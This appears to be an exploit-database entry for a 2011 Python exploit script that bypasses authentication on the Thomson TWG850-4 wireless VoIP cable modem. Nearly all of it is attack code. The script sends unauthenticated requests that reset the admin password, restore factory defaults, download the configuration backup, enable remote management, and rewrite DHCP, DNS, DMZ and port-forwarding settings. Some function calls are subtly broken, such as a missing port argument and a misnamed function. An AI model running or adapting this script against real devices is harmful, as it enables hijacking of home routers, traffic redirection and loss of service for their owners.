Thomson Wireless VoIP Cable Modem Auth Bypass

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Thomson Wireless VoIP Cable Modem Auth Bypass, Vulnerabilities: Backup File Access, Plaintext Protoco

                                                # Exploit Title: Thomson Wireless VoIP Cable Modem Auth Bypass
# Date: February 22, 2011
# Author(s): Glafkos Charalambous, George Nicolaou
# Product: TWG850-4 Wireless VoIP Cable Modem
# Software Version: ST9A.01.06
# Severity: High
# Other Vulnerabilities: 
# Unauthenticated Backup File Access, 
# Plaintext Protocol succeptible to sniffing attacks

import argparse
import httplib
import urllib
import urllib2

def http_post( ip, port, request, params ):
    headers = {
        &#34;User-Agent&#34;:&#34;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1&#34;,
        &#34;Accept&#34;:&#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&#34;,
        &#34;Accept-Language&#34;:&#34;en-us;en;q=0.5&#34;,
        &#34;Accept-Encoding&#34;:&#34;gzip, deflate&#34;,
        &#34;Accept-Charset&#34;:&#34;ISO-8859-1,utf-8;q=0.7,*;q=0.7&#34;,
        &#34;Keep-Alive&#34;:&#34;115&#34;,
        &#34;Connection&#34;:&#34;keep-alive&#34;,
        &#34;Content-type&#34;:&#34;application/x-www-form-urlencoded&#34;
        }
    con = httplib.HTTPConnection(ip,port)
    con.request(&#34;POST&#34;, request, params, headers)
    response = con.getresponse()

def block_domain( ip, port, host ):
    http_post( ip,port,
	       &#34;/goform/RgUrlBlock&#34;,
               urllib.urlencode( {&#34;cbDomainBlocking&#34;:&#34;0x2&#34;,&#34;BasicParentalNewKeyword&#34;:0, &#34;BasicParentalKeywordAction&#34;:0, &#34;BasicParentalDomainList&#34;:0, &#34;BasicParentalNewDomain&#34;:host,&#34;BasicParentalDomainAction&#34;:1} )
               )
def block_keyword( ip, port, host ):
    http_post( ip,port,
	       &#34;/goform/RgUrlBlock&#34;,
               urllib.urlencode( {&#34;cbKeywordBlocking&#34;:&#34;0x1&#34;, &#34;BasicParentalNewKeyword&#34;:host,&#34;BasicParentalKeywordAction&#34;:1, &#34;BasicParentalNewDomain&#34;:&#34;0&#34;, &#34;BasicParentralDomainAction&#34;:0} )
               )
        
def password_reset( ip, port, user=&#34;admin&#34;, passwd=&#34;admin&#34; ):
    http_post(ip,port,
              &#34;/goform/RgSecurity&#34;,
              urllib.urlencode({&#34;HttpUserId&#34;:user, &#34;Password&#34;:passwd, &#34;PasswordReEnter&#34;:passwd, &#34;RestoreFactoryYes&#34;:&#34;0x00&#34; })
              )

def factory_defaults( ip, port, user=&#34;admin&#34;, passwd=&#34;admin&#34; ):
    http_post(ip,port,
              &#34;/goform/RgSecurity&#34;,
              urllib.urlencode({&#34;HttpUserId&#34;:user, &#34;Password&#34;:passwd, &#34;PasswordReEnter&#34;:passwd, &#34;RestoreFactoryYes&#34;:&#34;0x01&#34; })
              )

def dhcp_config( ip, port, localip=&#34;10.1.0.1&#34;, localsub=&#34;255.255.255.0&#34;, leasepoolstart=&#34;10.1.0.10&#34;, leasepoolend=&#34;10.1.0.100&#34; ):
    http_post(ip,port,
              &#34;/goform/RgSetup&#34;,
              urllib.urlencode({&#34;LocalIpAddressIP&#34;:localip, &#34;LocalSubnetMask&#34;:localsub, &#34;DhcpServerEnable&#34;:&#34;0x1000&#34;, &#34;DhcpLeasePoolStartLAN&#34;:leasepoolstart, &#34;DhcpLeasePoolEndLAN&#34;:leasepoolend, &#34;LeaseTime&#34;:&#34;604800&#34; })
              )

def dyn_dns( ip, port, dnsuser=&#34;user&#34;, dnspass=&#34;pass&#34;, dnshost=&#34;host.dyndns.org&#34; ):
    http_post(ip,port,
              &#34;/goform/RgDdns&#34;,
              urllib.urlencode({&#34;DdnsService&#34;:1, &#34;DdnsUserName&#34;:dnsuser, &#34;DdnsPassword&#34;:dnspass, &#34;DdnsHostName&#34;:dnshost })
              )

def sntp_set( ip, port, server1=&#34;clock.via.net&#34;, tserver2=&#34;ntp.nasa.gov&#34;, tserver3=&#34;tick.ucla.edu&#34; ):
    http_post(ip,port,
              &#34;/goform/RgTime&#34;,
              urllib.urlencode({&#34;TimeSntpEnable&#34;:1, &#34;TimeServer1&#34;:tserver1, &#34;TimeServer2&#34;:tserver2, &#34;TimeServer3&#34;:tserver3, &#34;TimeZoneOffsetHrs&#34;:0, &#34;TimeZoneOffsetMins&#34;:0, &#34;ResetSntpDefaults&#34;:0 })
              )

def backup_config( ip, port, fName=&#34;GatewaySettings.bin&#34; ):
    u = urllib2.urlopen(&#39;http://&#39; + ip+&#34;:&#34;+port + &#39;/GatewaySettings.bin&#39;)
    lFile = open(fName, &#39;w&#39;)
    print &#34;File &#34;+fName+&#34; saved successfully&#34;
    lFile.write(u.read())
    lFile.close()

def remote_manage( ip, port, status ):
   if status == &#39;enable&#39;:
    http_post(ip,port,
	      &#34;/goform/RgOptions&#34;,
              urllib.urlencode({&#34;cbIpsecPassThrough&#34;:&#34;0x20&#34;, &#34;cbPptpPassThrough&#34;:&#34;0x40&#34;, &#34;cbRemoteManagement&#34;:&#34;0x80&#34;, &#34;cbOptMulticast&#34;: &#34;0x20000&#34;, &#34;cbOptUPnP&#34;:&#34;0x200000&#34;, &#34;cbOptNatSipAlg&#34;:&#34;0x89&#34;})
              )	
   elif status == &#39;disable&#39;:
    http_post(ip,port,
              &#34;/goform/RgOptions&#34;,
              urllib.urlencode({&#34;cbIpsecPassThrough&#34;:&#34;0x20&#34;, &#34;cbPptpPassThrough&#34;:&#34;0x40&#34;, &#34;cbOptMulticast&#34;: &#34;0x20000&#34;, &#34;cbOptUPnP&#34;:&#34;0x200000&#34;, &#34;cbOptNatSipAlg&#34;:&#34;0x89&#34;})
              )
   else:
    print &#34;The argument you specified is not accepted&#34;

def dmz_set( ip, port, dmzhost ):
    http_post(ip,port,
              &#34;/goform/RgDmzHost&#34;,
              urllib.urlencode({&#34;DmzHostIP3&#34;:dmzhost})
              )

def port_forward( ip, port, localip, startport, endport ):
    http_post(ip,port,
              &#34;/goform/RgForwarding&#34;,
              urllib.urlencode({&#34;PortForwardAddressLocal1IP3&#34;:localip, &#34;PortForwardPortGlobalStart1&#34;:startport , &#34;PortForwardPortGlobalEnd1&#34;:endport , &#34;PortForwardProtocol1&#34;:&#34;254&#34;, &#34;PortForwardEnable1&#34;:&#34;0x01&#34;  })
              )

def main():
   status = [&#39;enable&#39;, &#39;disable&#39;]
   argp = argparse.ArgumentParser(description=&#39;Thomson Cable Modem Auth Bypass v0.1&#39;)
   argp.add_argument(&#34;-pr&#34;, &#34;--password_reset&#34;, nargs=2, help=&#34;Reset Admin Account&#34;, metavar=(&#34;user&#34;,&#34;pass&#34;))
   argp.add_argument(&#34;-fd&#34;, &#34;--factory_default&#34;, nargs=2, help=&#34;Reset Factory Defaults&#34;, metavar=(&#34;user&#34;,&#34;pass&#34;))
   argp.add_argument(&#34;-bk&#34;, &#34;--block_keyword&#34;, help=&#34;Block Web Access based on Keyword(s)&#34;, metavar=&#34;keywrd1,keywrd2,...,keywrdN&#34;)
   argp.add_argument(&#34;-bd&#34;, &#34;--block_domain&#34;, help=&#34;Block Web Access to Specific Domain(s)&#34;,metavar=&#34;domain1,domain2,...,domainN&#34;)
   argp.add_argument(&#34;-dc&#34;, &#34;--dhcp_config&#34;, nargs=4, help=&#34;Configure DHCP Settings&#34;,metavar=(&#34;localip&#34;,&#34;localsub&#34;,&#34;leasepoolstart&#34;, &#34;leasepoolend&#34;))
   argp.add_argument(&#34;-dd&#34;, &#34;--dyn_dns&#34;, nargs=3, help=&#34;Configure Dynamic DNS&#34;,metavar=(&#34;user&#34;, &#34;pass&#34;, &#34;host&#34;))
   argp.add_argument(&#34;-ss&#34;, &#34;--sntp_set&#34;, nargs=3, help=&#34;Configure SNTP Settings&#34;,metavar=(&#34;timeserver1&#34;, &#34;timeserver2&#34;, &#34;timeserver3&#34;))
   argp.add_argument(&#34;-bg&#34;, &#34;--backup_config&#34;, help=&#34;Download Backup Configuration&#34;, metavar=(&#34;filename&#34;))
   argp.add_argument(&#34;-rm&#34;, &#34;--remote_manage&#34;, help=&#34;Enable Remote Config Management&#34;, metavar=(&#34;enable/disable&#34;))
   argp.add_argument(&#34;-ds&#34;, &#34;--dmz_set&#34;, help=&#34;Set DMZ Host. Use last 3 digits for IP Address&#34;, metavar=(&#34;ip&#34;))
   argp.add_argument(&#34;-pf&#34;, &#34;--port_forward&#34;, nargs=3, help=&#34;Configure Port Forwarding&#34;, metavar=(&#34;ip&#34;, &#34;startport&#34;, &#34;endport&#34;))
   argp.add_argument(&#34;IP&#34;, help=&#34;IP Address&#34;)
   argp.add_argument(&#34;PORT&#34;, help=&#34;Port Number&#34;)
   args = argp.parse_args()
   if(args.password_reset != None):
       password_reset( args.IP, args.password_reset[0], args.password_reset[1] )
   if(args.factory_default != None):
       factory_default( args.IP, args.factory_default[0], args.factory_default[1] )
   if(args.block_keyword != None):
       for keyword in args.block_keyword.split(&#34;,&#34;):
           block_keyword(args.IP, keyword)
   if(args.block_domain != None):
        for domain in args.block_domain.split(&#34;,&#34;):
            block_domain( args.IP, domain )
   if(args.dhcp_config != None):
       dhcp_config( args.IP, args.dhcp_config[0], args.dhcp_config[1], args.dhcp_config[2], args.dhcp_config[3] )
   if(args.dyn_dns != None):
       dyn_dns( args.IP, args.dyn_dns[0], args.dyn_dns[1], args.dyn_dns[2] )
   if(args.sntp_set != None):
       sntp_set( args.IP, args.sntp_set[0], args.sntp_set[1], args.sntp_set[2] )
   if(args.backup_config != None):
       backup_config( args.IP, args.backup_config )
   if(args.remote_manage != None):
       remote_manage( args.IP, args.PORT, args.remote_manage )
   if(args.dmz_set != None):
       dmz_set( args.IP, args.PORT, int( args.dmz_set ))
   if(args.port_forward != None):
       port_forward( args.IP, args.PORT, args.port_forward[0], args.port_forward[1], args.port_forward[2] )
 
if __name__ == &#34;__main__&#34;:
    main()
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1